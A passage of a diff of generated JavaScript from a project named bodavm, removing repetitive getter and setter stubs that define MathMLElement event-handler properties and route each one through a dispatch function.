bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ondurationchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onemptied", {configurable:true, enumerable:true, get:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onemptied_get", arguments)}, set:function onemptied (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onemptied_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onfocus", {configurable:true, enumerable:true, get:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onfocus_get", arguments)}, set:function onfocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onfocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onformdata", {configurable:true, enumerable:true, get:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onformdata_get", arguments)}, set:function onformdata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onformdata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oninput", {configurable:true, enumerable:true, get:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninput_get", arguments)}, set:function oninput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninput_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oninvalid", {configurable:true, enumerable:true, get:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninvalid_get", arguments)}, set:function oninvalid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oninvalid_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeydown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeypress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeyup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadeddata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadedmetadata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousedown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousemove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousewheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplaying_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onratechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onreset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsecuritypolicyviolation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeking_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onslotchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onstalled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsubmit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsuspend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontimeupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontoggle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onvolumechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwaiting_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkittransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onauxclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ongotpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onlostpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerdown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointermove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerrawupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointercancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionrun_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitioncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncopy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncut_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, 